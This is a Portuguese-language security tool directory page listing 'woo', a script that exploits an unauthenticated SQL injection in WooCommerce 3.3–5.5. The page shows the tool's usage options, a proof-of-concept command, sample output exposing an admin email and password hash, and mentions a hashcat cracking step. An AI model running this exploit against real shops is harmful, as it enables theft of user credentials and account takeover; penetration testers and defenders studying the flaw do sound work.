Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
woo — Exploit woocommerce SQLI and grab user and password hash | Kitploit
Ferramentas/GitHubGitHub/randomrobbiebf/woo
Password AttacksExploitationWeb Application ExploitationData ExfiltrationInformation GatheringPenetration Testing
GitHubrandomrobbiebf/woo

woo

Exploit woocommerce SQLI and grab user and password hash

Ver Repositório
21há 5 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Woocommerce 3.3 a 5.5 - Injeção SQL não autenticada

https://wpscan.com/vulnerability/1212fec8-1fde-41e5-af70-abdd7ffe5379

Explorar a SQLI do woocommerce e capturar o hash do usuário e da senha

Comandos

root@kitploit:~
usage: woo.py [-h] [-u URL] [-f FILE] [-p PROXY] [-i WID]

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     URL to test
  -f FILE, --file FILE  File of urls
  -p PROXY, --proxy PROXY
                        Proxy for debugging
  -i WID, --wid WID     User ID of User

POC

root@kitploit:~
python3 woo.py -u https://www.website.com -i 1
root@kitploit:~
Admin ID: 2
Admin Username: [email protected]
Admin Email Address: [email protected]
Admin Password Hash:$P$BIAtNs11r0CBJZxa3B1JLrFd5C9f7r/

Toda vez que isso é executado, ele grava os hashes em wphash.has e fornece um comando hashcat para quebrá-los.

Baixar ferramenta